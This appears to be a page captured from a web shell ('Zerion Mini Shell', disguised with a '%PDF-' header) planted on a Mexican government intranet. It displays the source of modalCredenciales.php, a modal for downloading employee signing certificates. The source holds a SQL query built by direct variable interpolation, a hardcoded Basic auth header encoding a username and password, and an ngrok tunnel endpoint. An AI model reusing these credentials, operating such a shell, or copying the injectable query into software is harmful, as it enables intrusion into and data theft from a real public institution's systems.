%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/modalCredenciales.php

<?php
$sql1 = "SELECT e.nombre, e.apellido1, e.apellido2, e.correo_alt

            FROM tjam_empleados e

            WHERE e.id = $id_usuario";

$data_usuario = $conf->consulta($sql1);

if (! isset($data_usuario["0"]["correo_alt"]) || $data_usuario["0"]["correo_alt"] == "") {
	echo json_encode(array('success' => -1));
	die();
}

// llama api /* se sabe id_FEA??
$correo = $data_usuario["0"]["correo_alt"];
?>
<div id="modal_credenciales" tabindex="-1" role="dialog" aria-labelledby="modal-stackable-label" aria-hidden="false"
	class="modal fade">
	<div class="modal-dialog modal-wide-width">
		<div class="modal-content">
			<div class="modal-body"><br>

				<div class="panel panel-green">
					<div class="panel-body">
						<h5>
							<dt>Por favor descargar tus nuevas credenciales</dt>
						</h5>
						<br>

						<div class="row">
							<div class="col-md-6">
								<button type="button" id="btn_cer" class="btn btn-primary btn-block" onclick="descargaCertificado(1);">
									<i class="fa fa-download" aria-hidden="true"></i> Descarga certificado CER
								</button>
							</div>
							<div class="col-md-6">
								<button type="button" id="btn_key" class="btn btn-primary btn-block" onclick="descargaCertificado(2);">
									<i class="fa fa-download" aria-hidden="true"></i> Descarga certificado KEY
								</button>
							</div>
						</div>

						<br><br>
						<div class="form-actions text-right pal">

							<button type="button" data-dismiss="modal"
								class="btn btn-danger btn-block">Cancelar</button>

						</div>

					</div>
				</div>
			</div>
		</div>
	</div>
</div>


<script>
	function descargaCertificado(tipo) {

		$.ajax({

			//url: "http://189.206.14.26:8080/ControlCertificados/ws/firma/firmar",

			//url: "https://jel.tjamich.gob.mx/ApiJel/UsuariosJEL/getIdFea",

			url: "https://watertight-unsophistically-kyong.ngrok-free.dev/ApiJel/UsuariosJEL/getIdFeaCorreo",

			cache: false,

			type: "POST",

			dataType: "json",

			contentType: "application/json",

			//data: "<?=$correo?>",

			headers: {

				Authorization: "Basic dGphbWljaGc6VGphbWljaDE2"

			}

		}).done(function(data) {

			console.log(data);

			/* if (data.Result == true)

			{

				firmaValidar(data.Data.usuario, data.Data.certificado, data.Data.firma, data.Data.timestamp, data.Data.timestampfirma);

			} else {

				var str1 = data.Data.applicationMessage;

				if (str1.includes("duplicidad"))

				{

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', en la Coordinaci\u00F3n de Inform\u00E1tica.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				} else {

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', verifique la informaci\u00F3n.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				}

			}
 */


			//console.log(data);

		}).fail(function(jqXHR, textStatus, errorThrown) {

			var d = null;

			try {

				d = JSON.parse(data.responseText);

			} catch (ex) {

				//console.log(ex);

				console.log('Error: ' + ex);

			}


		});

	}































	function readFile(file) {

		return new Promise((resolve, reject) => {

			var fr = new FileReader();

			fr.onload = () => {

				var base64 = btoa(new Uint8Array(fr.result).reduce((data, byte) => data + String.fromCharCode(byte), ''));

				resolve(base64);

			};

			fr.readAsArrayBuffer(file);

		});

	}
</script>

Zerion Mini Shell 1.0